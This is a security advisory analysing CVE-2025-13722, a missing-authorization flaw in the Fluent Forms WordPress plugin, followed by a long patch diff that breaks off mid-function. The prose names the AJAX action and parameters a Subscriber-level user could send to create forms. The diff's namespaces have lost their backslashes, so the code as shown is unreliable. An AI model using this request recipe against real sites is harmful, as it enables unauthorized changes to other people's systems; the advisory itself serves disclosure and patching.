Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13722: Fluent Forms <= 6.1.7 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Form Creation via AI Builder (fluentform)

Plugin fluentform
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.1.7
Patched Version 6.1.8
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13722:
This vulnerability is a missing authorization flaw in the Fluent Forms WordPress plugin, affecting versions up to and including 6.1.7. The vulnerability allows authenticated attackers with Subscriber-level permissions to create arbitrary forms via the AI builder feature, bypassing intended capability checks.

The root cause is the missing capability check in the `buildForm` method of the `AiFormBuilder` class. In the vulnerable version, the method only performed a nonce verification via `Acl::verifyNonce()` at line 27 in `/fluentform/app/Modules/Ai/AiFormBuilder.php`. This nonce check does not validate user capabilities. The method directly processes user-supplied input from `$this->app->request->all()` and calls `generateForm()` and `prepareAndSaveForm()` to create new forms, without verifying if the current user has the `fluentform_forms_manager` capability required for form creation.

Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `fluentform_ai_create_form`. The request must include a valid WordPress nonce (which Subscribers can obtain) and a `query` parameter containing the AI prompt for form generation. Additional parameters like `additional_query` can be included. The attack succeeds because the endpoint only checks for a valid nonce, not for the `fluentform_forms_manager` capability that should restrict form creation to administrators or editors.

The patch adds proper authorization by replacing `Acl::verifyNonce()` with `Acl::verify(‘fluentform_forms_manager’)` at line 27 in `/fluentform/app/Modules/Ai/AiFormBuilder.php`. This change ensures the user possesses the required capability before processing the form creation request. The patch also introduces input validation by limiting the `query` parameter to 2000 characters and the `additional_query` parameter to 1000 characters, preventing potential abuse through excessively long prompts.

Successful exploitation allows attackers to create arbitrary forms on the WordPress site. While form creation itself may not directly lead to data compromise, it enables attackers to deploy forms that could be used for phishing, spam collection, or other malicious purposes. Attackers could also create forms with custom fields that might interact with other plugins or themes, potentially leading to secondary vulnerabilities. The CVSS score of 5.3 reflects the requirement for authentication and the limited direct impact on confidentiality and integrity.

Differential between vulnerable and patched code

Code Diff
--- a/fluentform/app/Api/Form.php
+++ b/fluentform/app/Api/Form.php
@@ -33,6 +33,7 @@
         $is_filter_by_conv_or_step_form = $filter_by && ('conv_form' == $filter_by || 'step_form' == $filter_by);

         $shortColumn = sanitize_sql_orderby(ArrayHelper::get($atts, 'sort_column', 'id'));
+        $shortColumn = $shortColumn !== false && $shortColumn !== '' ? $shortColumn : 'id';
         $sortBy = Helper::sanitizeOrderValue(ArrayHelper::get($atts, 'sort_by', 'DESC'));

         $query = FluentFormAppModelsForm::orderBy($shortColumn, $sortBy)->getQuery();
--- a/fluentform/app/Http/Controllers/FormController.php
+++ b/fluentform/app/Http/Controllers/FormController.php
@@ -5,39 +5,52 @@
 use Exception;
 use FluentFormAppServicesFormFormService;
 use FluentFormAppServicesFormHistoryService;
+use FluentFormFrameworkSupportArr;

 class FormController extends Controller
 {
     /**
      * Get the paginated forms matching search criteria.
      *
-     * @param  FluentFormAppServicesFormFormService $formService
+     * @param FluentFormAppServicesFormFormService $formService
+     *
      * @return WP_REST_Response
      */
     public function index(FormService $formService)
     {
+        $attributes = $this->request->all();
+
         return $this->sendSuccess(
-            $formService->get($this->request->all())
+            $formService->get($attributes)
         );
     }
-
+
     /**
      * Create a form from backend/editor
      *
-     * @param  FluentFormAppServicesFormFormService $formService
+     * @param FluentFormAppServicesFormFormService $formService
+     *
      * @return WP_REST_Response
      */
     public function store(FormService $formService)
     {
         try {
-            $form = $formService->store($this->request->all());
-
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'title'       => 'sanitize_text_field',
+                'template_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $form = $formService->store($attributes);
+
             return $this->sendSuccess([
                 'formId'       => $form->id,
                 'redirect_url' => admin_url(
                     'admin.php?page=fluent_forms&form_id=' . $form->id . '&route=editor'
                 ),
-                'message' => __('Successfully created a form.', 'fluentform'),
+                'message'      => __('Successfully created a form.', 'fluentform'),
             ]);
         } catch (Exception $e) {
             return $this->sendError([
@@ -45,12 +58,19 @@
             ], 422);
         }
     }
-
+
     public function duplicate(FormService $formService)
     {
         try {
-            $form = $formService->duplicate($this->request->all());
-
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'form_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $form = $formService->duplicate($attributes);
+
             return $this->sendSuccess([
                 'message'  => __('Form has been successfully duplicated.', 'fluentform'),
                 'form_id'  => $form->id,
@@ -62,14 +82,14 @@
             ], 422);
         }
     }
-
+
     public function find(FormService $formService)
     {
         try {
-            $id = $this->request->get('form_id');
-
+            $id = (int)$this->request->get('form_id');
+
             $form = $formService->find($id);
-
+
             return $this->sendSuccess($form, 200);
         } catch (Exception $e) {
             return $this->sendError([
@@ -77,14 +97,14 @@
             ], 422);
         }
     }
-
+
     public function delete(FormService $formService)
     {
         try {
-            $id = $this->request->get('form_id');
-
+            $id = (int)$this->request->get('form_id');
+
             $formService->delete($id);
-
+
             return $this->sendSuccess([
                 'message' => __('Successfully deleted the form.', 'fluentform'),
             ], 200);
@@ -94,12 +114,14 @@
             ], 422);
         }
     }
-
+
     public function update(FormService $formService)
     {
         try {
-            $formService->update($this->request->all());
-
+            $attributes = $this->request->all();
+
+            $formService->update($attributes);
+
             return $this->sendSuccess([
                 'message' => __('The form is successfully updated.', 'fluentform'),
             ], 200);
@@ -109,12 +131,13 @@
             ], 422);
         }
     }
-
+
     public function convert(FormService $formService)
     {
         try {
-            $formService->convert($this->request->get('form_id'));
-
+            $formId = (int)$this->request->get('form_id');
+            $formService->convert($formId);
+
             return $this->sendSuccess([
                 'message' => __('The form is successfully converted.', 'fluentform'),
             ], 200);
@@ -124,7 +147,7 @@
             ], 422);
         }
     }
-
+
     public function templates(FormService $formService)
     {
         try {
@@ -135,13 +158,13 @@
             ], 422);
         }
     }
-
+
     public function resources(FormService $formService, $formId)
     {
         $components = $formService->components($formId);
-
+
         $disabledComponents = $formService->getDisabledComponents();
-
+
         return $this->sendSuccess([
             'components'          => $components,
             'disabled_components' => $disabledComponents,
@@ -149,21 +172,22 @@
             'edit_history'        => HistoryService::get($formId)
         ]);
     }
-
+
     public function fields(FormService $formService, $formId)
     {
         return $this->sendSuccess($formService->fields($formId));
     }
-
+
     public function shortcodes(FormService $formService, $formId)
     {
         return $this->sendSuccess($formService->shortcodes($formId));
     }
-
+
     public function pages(FormService $formService)
     {
         return $this->sendSuccess($formService->pages());
     }
+
     public function findShortCodePage(FormService $formService, $formId)
     {
         return $this->sendSuccess($formService->findShortCodePage($formId));
@@ -172,13 +196,13 @@
     public function formEditHistory(HistoryService $historyService, $formId)
     {
         return $this->sendSuccess($historyService::get($formId));
-
     }
+
     public function clearEditHistory(HistoryService $historyService)
     {
         try {
-            $id =  (int)$this->request->get('form_id');
-
+            $id = (int)$this->request->get('form_id');
+
             $historyService->delete($id);
             return $this->sendSuccess([
                 'message' => __('Successfully deleted edit history.', 'fluentform'),
@@ -188,8 +212,8 @@
                 'message' => $e->getMessage(),
             ], 422);
         }
-
     }
+
     public function ping()
     {
         return ['message' => 'pong'];
--- a/fluentform/app/Http/Controllers/FormIntegrationController.php
+++ b/fluentform/app/Http/Controllers/FormIntegrationController.php
@@ -47,7 +47,7 @@
     public function delete(FormIntegrationService $integrationService)
     {
         try {
-            $id = $this->request->get('integration_id');
+            $id = intval($this->request->get('integration_id'));
             $integrationService->delete($id);
             return $this->sendSuccess([
                 'message' => __('Successfully deleted the Integration.', 'fluentform'),
@@ -62,9 +62,17 @@
     public function integrationListComponent()
     {
         try {
-            $integrationName = $this->request->get('integration_name');
-            $formId = intval($this->request->get('form_id'));
-            $listId = $this->request->get('list_id');
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'integration_name' => 'sanitize_text_field',
+                'list_id'          => 'sanitize_text_field',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $integrationName = $attributes['integration_name'];
+            $formId = (int)$attributes['form_id'];
+            $listId = $attributes['list_id'];
             $merge_fields = false;
             $merge_fields = apply_filters_deprecated(
                 'fluentform_get_integration_merge_fields_' . $integrationName,
--- a/fluentform/app/Http/Controllers/IntegrationManagerController.php
+++ b/fluentform/app/Http/Controllers/IntegrationManagerController.php
@@ -37,9 +37,10 @@
         $this->priority = $priority;

         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Constructor, nonce verified in route handlers
-        if(isset($_REQUEST['form_id'])) {
+        $formId = $this->app->request->get('form_id');
+        if($formId) {
             // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Constructor, nonce verified in route handlers
-            $formId = (int)$_REQUEST['form_id'];
+            $formId = (int)$formId;
             parent::__construct(
                 $this->settingsKey, $formId, true
             );
--- a/fluentform/app/Http/Controllers/LogController.php
+++ b/fluentform/app/Http/Controllers/LogController.php
@@ -10,8 +10,19 @@
     public function get(Logger $logger)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'form_id'  => 'intval',
+                'page'     => 'intval',
+                'per_page' => 'intval',
+                'search'   => 'sanitize_text_field',
+                'log_type' => 'sanitize_text_field',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $logger->get($this->request->all())
+                $logger->get($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -24,8 +35,15 @@
     public function getFilters(Logger $logger)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'form_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $logger->getFilters($this->request->all())
+                $logger->getFilters($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -38,8 +56,15 @@
     public function remove(Logger $logger)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'log_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $logger->remove($this->request->all())
+                $logger->remove($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
--- a/fluentform/app/Http/Controllers/ManagersController.php
+++ b/fluentform/app/Http/Controllers/ManagersController.php
@@ -9,14 +9,28 @@
 {
     public function index(ManagerService $managerService)
     {
-        $result = $managerService->getManagers($this->request->all());
+        $attributes = $this->request->all();
+
+        $sanitizeMap = [
+            'search' => 'sanitize_text_field',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        $result = $managerService->getManagers($attributes);
         return $this->sendSuccess($result);
     }

     public function addManager(ManagerService $managerService)
     {
         try {
-            $result = $managerService->addManager($this->request->all());
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'user_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $result = $managerService->addManager($attributes);
             return $this->sendSuccess($result);
         } catch (ValidationException $exception) {
             return $this->sendError($exception->errors(), 422);
@@ -26,7 +40,14 @@
     public function removeManager(ManagerService $managerService)
     {
         try {
-            $result = $managerService->removeManager($this->request->all());
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'user_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $result = $managerService->removeManager($attributes);
             return $this->sendSuccess($result);
         } catch (ValidationException $exception) {
             return $this->sendError($exception->errors(), 422);
--- a/fluentform/app/Http/Controllers/RolesController.php
+++ b/fluentform/app/Http/Controllers/RolesController.php
@@ -9,14 +9,29 @@
 {
     public function index(RolesService $rolesService)
     {
-        $result = $rolesService->getRoles($this->request->all());
+        $attributes = $this->request->all();
+
+        $sanitizeMap = [
+            'search' => 'sanitize_text_field',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        $result = $rolesService->getRoles($attributes);
         return $this->sendSuccess($result);
     }

     public function addCapability(RolesService $rolesService)
     {
         try {
-            $result = $rolesService->setCapability($this->request->all());
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'role' => 'sanitize_text_field',
+                'capability' => 'sanitize_text_field',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            $result = $rolesService->setCapability($attributes);
             return $this->sendSuccess($result);
         } catch (ValidationException $exception) {
             return $this->sendError($exception->errors(), 422);
--- a/fluentform/app/Http/Controllers/SubmissionController.php
+++ b/fluentform/app/Http/Controllers/SubmissionController.php
@@ -5,14 +5,42 @@
 use Exception;
 use FluentFormAppModelsSubmission;
 use FluentFormAppServicesSubmissionSubmissionService;
+use FluentFormFrameworkSupportArr;

 class SubmissionController extends Controller
 {
     public function index(SubmissionService $submissionService)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'search'       => 'sanitize_text_field',
+                'status'       => 'sanitize_text_field',
+                'entry_type'   => 'sanitize_text_field',
+                'form_id'      => 'intval',
+                'per_page'     => 'intval',
+                'page'         => 'intval',
+                'is_favourite' => 'rest_sanitize_boolean',
+            ];
+
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+
+            // If frontend sends `entry_type` (used by some components), map it to `status`
+            if (isset($attributes['entry_type']) && !isset($attributes['status'])) {
+                $attributes['status'] = $attributes['entry_type'];
+            }
+
+            if (isset($attributes['date_range']) && is_array($attributes['date_range'])) {
+                $attributes['date_range'] = array_map('sanitize_text_field', $attributes['date_range']);
+            }
+            if (isset($attributes['payment_statuses']) && is_array($attributes['payment_statuses'])) {
+                $attributes['payment_statuses'] = array_map('sanitize_text_field', $attributes['payment_statuses']);
+            }
+
             return $this->sendSuccess(
-                $submissionService->get($this->request->all())
+                $submissionService->get($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -37,8 +65,15 @@
     public function resources(SubmissionService $submissionService)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'form_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $submissionService->resources($this->request->all())
+                $submissionService->resources($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -166,8 +201,36 @@
     public function all(Submission $submission)
     {
         try {
+            $attributes = $this->request->all();
+
+            // Use backend sanitizer map for scalar fields (preserves expected types)
+            $sanitizeMap = [
+                'search'       => 'sanitize_text_field',
+                'status'       => 'sanitize_text_field',
+                'entry_type'   => 'sanitize_text_field',
+                'form_id'      => 'intval',
+                'per_page'     => 'intval',
+                'page'         => 'intval',
+                'is_favourite' => 'rest_sanitize_boolean',
+            ];
+
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            // Handle frontend `entry_type` param (sanitize and map to `status` if needed)
+            if (isset($attributes['entry_type']) && !isset($attributes['status'])) {
+                $attributes['status'] = $attributes['entry_type'];
+            }
+
+            // Sanitize array fields explicitly (sanitizer recurses but won't apply parent's key sanitizer to numeric child keys)
+            if (isset($attributes['date_range']) && is_array($attributes['date_range'])) {
+                $attributes['date_range'] = array_map('sanitize_text_field', $attributes['date_range']);
+            }
+            if (isset($attributes['payment_statuses']) && is_array($attributes['payment_statuses'])) {
+                $attributes['payment_statuses'] = array_map('sanitize_text_field', $attributes['payment_statuses']);
+            }
+
             return $this->sendSuccess(
-                $submission->allSubmissions($this->request->all())
+                $submission->allSubmissions($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -183,8 +246,21 @@
     public function print(SubmissionService $submissionService)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'entry_ids' => function($value) {
+                    if (is_array($value)) {
+                        return array_map('intval', $value);
+                    }
+                    return [];
+                },
+                'form_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $submissionService->getPrintContent($this->request->all())
+                $submissionService->getPrintContent($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
--- a/fluentform/app/Http/Controllers/SubmissionLogController.php
+++ b/fluentform/app/Http/Controllers/SubmissionLogController.php
@@ -10,8 +10,16 @@
     public function get(Logger $logger, $submissionId)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'page' => 'intval',
+                'per_page' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $logger->getSubmissionLogs($submissionId, $this->request->all())
+                $logger->getSubmissionLogs($submissionId, $attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -23,8 +31,16 @@
     public function remove(Logger $logger)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'log_id' => 'intval',
+                'submission_id' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $logger->remove($this->request->all())
+                $logger->remove($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
--- a/fluentform/app/Http/Controllers/SubmissionNoteController.php
+++ b/fluentform/app/Http/Controllers/SubmissionNoteController.php
@@ -10,8 +10,16 @@
     public function get(SubmissionService $submissionService, $submissionId)
     {
         try {
+            $attributes = $this->request->all();
+
+            $sanitizeMap = [
+                'page'     => 'intval',
+                'per_page' => 'intval',
+            ];
+            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
             return $this->sendSuccess(
-                $submissionService->getNotes($submissionId, $this->request->all())
+                $submissionService->getNotes($submissionId, $attributes)
             );
         } catch (Exception $exception) {
             return $this->sendError([
@@ -23,8 +31,10 @@
     public function store(SubmissionService $submissionService, $submissionId)
     {
         try {
+            $attributes = $this->request->all();
+
             return $this->sendSuccess(
-                $submissionService->storeNote($submissionId, $this->request->all())
+                $submissionService->storeNote($submissionId, $attributes)
             );
         } catch (Exception $exception) {
             return $this->sendError([
--- a/fluentform/app/Modules/Ai/AiFormBuilder.php
+++ b/fluentform/app/Modules/Ai/AiFormBuilder.php
@@ -27,7 +27,7 @@
     public function buildForm()
     {
         try {
-            Acl::verifyNonce();
+            Acl::verify('fluentform_forms_manager');
             $form = $this->generateForm($this->app->request->all());
             $form = $this->prepareAndSaveForm($form);
             wp_send_json_success([
@@ -440,8 +440,18 @@
             throw new Exception(esc_html__('Query is empty!', 'fluentform'));
         }

+        // Validate query length to prevent abuse (max 2000 characters)
+        if (strlen($query) > 2000) {
+            throw new Exception(esc_html__('Query is too long. Please limit your prompt to 2000 characters.', 'fluentform'));
+        }
+
         $additionalQuery = Sanitizer::sanitizeTextField(Arr::get($args, 'additional_query'));

+        // Validate additional query length (max 1000 characters)
+        if ($additionalQuery && strlen($additionalQuery) > 1000) {
+            throw new Exception(esc_html__('Additional query is too long. Please limit to 1000 characters.', 'fluentform'));
+        }
+
         if ($additionalQuery) {
             $query .= "n including questions for information like  " . $additionalQuery . ".";
         }
--- a/fluentform/app/Modules/Payments/AjaxEndpoints.php
+++ b/fluentform/app/Modules/Payments/AjaxEndpoints.php
@@ -79,7 +79,14 @@
     public function updateGlobalSettings()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verified in route registration, sanitized in updatePaymentSettings()
-        $settings = isset($_REQUEST['settings']) ? wp_unslash($_REQUEST['settings']) : [];
+        $request = wpFluentForm()->request;
+        $settings = wp_unslash($request->get('settings', []));
+
+        $sanitizeMap = [
+            'status'   => 'sanitize_text_field',
+            'currency' => 'sanitize_text_field',
+        ];
+        $settings = fluentform_backend_sanitizer($settings, $sanitizeMap);

         // Update settings
         $settings = PaymentHelper::updatePaymentSettings($settings);
@@ -96,7 +103,8 @@
     public function getPaymentMethodSettings()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $method = isset($_REQUEST['method']) ? sanitize_text_field(wp_unslash($_REQUEST['method'])) : '';
+        $request = wpFluentForm()->request;
+        $method = sanitize_text_field($request->get('method', ''));

         $paymentSettings = apply_filters_deprecated(
             'fluentform_payment_settings_' . $method,
@@ -118,9 +126,16 @@
     public function savePaymentMethodSettings()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $method = isset($_REQUEST['method']) ? sanitize_text_field(wp_unslash($_REQUEST['method'])) : '';
+        $request = wpFluentForm()->request;
+        $method = sanitize_text_field($request->get('method', ''));
+        $settings = wp_unslash($request->get('settings', []));
+
+        $sanitizeMap = [
+            'status' => 'sanitize_text_field',
+        ];
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verified in route registration, sanitized in validation filter
-        $settings = isset($_REQUEST['settings']) ? wp_unslash($_REQUEST['settings']) : [];
+        $settings = fluentform_backend_sanitizer($settings, $sanitizeMap);
+

         $settingsValidation = apply_filters_deprecated(
             'fluentform_payment_method_settings_validation_' . $method,
@@ -163,8 +178,8 @@

     public function getFormSettings()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $formId = isset($_REQUEST['form_id']) ? (int) $_REQUEST['form_id'] : 0;
+        $request = wpFluentForm()->request;
+        $formId = intval($request->get('form_id', 0));
         $settings = PaymentHelper::getFormSettings($formId, 'admin');
         $form = wpFluent()->table('fluentform_forms')->find($formId);
         $addressFields = array_values(FormFieldsParser::getAddressFields($form));
@@ -184,9 +199,17 @@
     public function saveFormSettings()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $formId = isset($_REQUEST['form_id']) ? (int) $_REQUEST['form_id'] : 0;
+        $request = wpFluentForm()->request;
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verified in route registration, sanitized in setFormMeta()
-        $settings = isset($_REQUEST['settings']) ? wp_unslash($_REQUEST['settings']) : [];
+        $formId = intval($request->get('form_id', 0));
+        $settings = wp_unslash($request->get('settings', []));
+
+        $sanitizeMap = [
+            'enabled'  => 'rest_sanitize_boolean',
+            'currency' => 'sanitize_text_field',
+        ];
+        $settings = fluentform_backend_sanitizer($settings, $sanitizeMap);
+
         Helper::setFormMeta($formId, '_payment_settings', $settings);

         wp_send_json_success([
@@ -197,8 +220,35 @@
     public function updateTransaction()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Nonce verified in route registration, data sanitized below
-        $transactionData = isset($_REQUEST['transaction']) ? $_REQUEST['transaction'] : [];
-        $transactionId = (int) $transactionData['id'];
+        $request = wpFluentForm()->request;
+        $transactionData = $request->get('transaction', []);
+        if (is_array($transactionData)) {
+            $transactionData['id'] = intval(ArrayHelper::get($transactionData, 'id'));
+            $transactionData['status'] = sanitize_text_field(ArrayHelper::get($transactionData, 'status'));
+            $transactionData['payer_name'] = sanitize_text_field(ArrayHelper::get($transactionData, 'payer_name'));
+            $transactionData['payer_email'] = sanitize_email(ArrayHelper::get($transactionData, 'payer_email'));
+            $transactionData['charge_id'] = sanitize_text_field(ArrayHelper::get($transactionData, 'charge_id'));
+            $transactionData['refund_amount'] = floatval(ArrayHelper::get($transactionData, 'refund_amount'));
+            $transactionData['refund_note'] = sanitize_text_field(ArrayHelper::get($transactionData, 'refund_note'));
+            $transactionData['should_run_actions'] = sanitize_text_field(ArrayHelper::get($transactionData, 'should_run_actions'));
+
+            // Handle billing_address and shipping_address
+            if (isset($transactionData['billing_address'])) {
+                $transactionData['billing_address'] = is_array($transactionData['billing_address'])
+                    ? array_map('sanitize_text_field', $transactionData['billing_address'])
+                    : sanitize_text_field($transactionData['billing_address']);
+            }
+            if (isset($transactionData['shipping_address'])) {
+                $transactionData['shipping_address'] = is_array($transactionData['shipping_address'])
+                    ? array_map('sanitize_text_field', $transactionData['shipping_address'])
+                    : sanitize_text_field($transactionData['shipping_address']);
+            }
+        }
+
+        // Sanitize subscription_id separately
+        $subscriptionId = intval($request->get('subscription_id', 0));
+
+        $transactionId = $transactionData['id'];
         $oldTransaction = wpFluent()->table('fluentform_transactions')
             ->find($transactionId);

@@ -220,7 +270,6 @@
             ->update($updateData);

         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $subscriptionId = (int) ArrayHelper::get($_REQUEST, 'subscription_id', '0');
         if ($subscriptionId) {
             $existingSubscription = wpFluent()->table('fluentform_subscriptions')
                                         ->find($subscriptionId);
@@ -314,7 +363,15 @@
     public function disconnectStripeConnect()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        return ConnectConfig::disconnect($_REQUEST, true);
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        $sanitizeMap = [
+            'mode' => 'sanitize_text_field',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        return ConnectConfig::disconnect($attributes, true);
     }

     public function getWpPages()
@@ -334,7 +391,17 @@
     public function cancelSubscription()
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $subscriptionId = (int) ArrayHelper::get($_REQUEST, 'subscription_id');
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        $sanitizeMap = [
+            'subscription_id' => 'intval',
+            'transaction_id' => 'intval',
+            'submission_id' => 'intval',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        $subscriptionId = ArrayHelper::get($attributes, 'subscription_id');

         $subscription = fluentFormApi('submissions')->getSubscription($subscriptionId);

@@ -345,9 +412,9 @@
         }

         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $transactionId = (int) ArrayHelper::get($_REQUEST, 'transaction_id', '0');
+        $transactionId = ArrayHelper::get($attributes, 'transaction_id', 0);
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $submissionId = (int) ArrayHelper::get($_REQUEST, 'submission_id', '0');
+        $submissionId = ArrayHelper::get($attributes, 'submission_id', 0);

         $oldTransaction = wpFluent()->table('fluentform_transactions')
                                     ->find($transactionId);
--- a/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
+++ b/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
@@ -42,10 +42,23 @@

     public function getPayments()
     {
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        // Sanitize request data
+        $sanitizeMap = [
+            'form_id'          => 'intval',
+            'per_page'         => 'intval',
+            'payment_statuses' => 'sanitize_text_field',
+            'payment_types'    => 'sanitize_text_field',
+            'payment_methods'  => 'sanitize_text_field',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() below
-        Acl::verify('fluentform_view_payments', ArrayHelper::get($_REQUEST, 'form_id'));
+        Acl::verify('fluentform_view_payments', ArrayHelper::get($attributes, 'form_id'));
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() above
-        $perPage = isset($_REQUEST['per_page']) ? intval($_REQUEST['per_page']) : 10;
+        $perPage = ArrayHelper::get($attributes, 'per_page', 10);
         if(!$perPage) {
             $perPage = 10;
         }
@@ -69,26 +82,22 @@
             ->join('fluentform_forms', 'fluentform_forms.id', '=', 'fluentform_transactions.form_id')
             ->orderBy('fluentform_transactions.id', 'DESC');

-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() at line 46
-        if ($selectedFormId = ArrayHelper::get($_REQUEST, 'form_id')) {
-            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.form_id', intval($selectedFormId));
+        if ($selectedFormId = ArrayHelper::get($attributes, 'form_id')) {
+            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.form_id', $selectedFormId);
         }

         $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
         if ($allowFormIds && is_array($allowFormIds)) {
             $paymentsQuery = $paymentsQuery->whereIn('fluentform_transactions.form_id', $allowFormIds);
         }
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() at line 46
-        if ($paymentStatus = ArrayHelper::get($_REQUEST, 'payment_statuses')) {
-            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.status', sanitize_text_field($paymentStatus));
-        }
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() at line 46
-        if ($paymentTypes = ArrayHelper::get($_REQUEST, 'payment_types')) {
-            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.transaction_type', sanitize_text_field($paymentTypes));
-        }
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() at line 46
-        if ($paymentMethods = ArrayHelper::get($_REQUEST, 'payment_methods')) {
-            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.payment_method', sanitize_text_field($paymentMethods));
+        if ($paymentStatus = ArrayHelper::get($attributes, 'payment_statuses')) {
+            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.status', $paymentStatus);
+        }
+        if ($paymentTypes = ArrayHelper::get($attributes, 'payment_types')) {
+            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.transaction_type', $paymentTypes);
+        }
+        if ($paymentMethods = ArrayHelper::get($attributes, 'payment_methods')) {
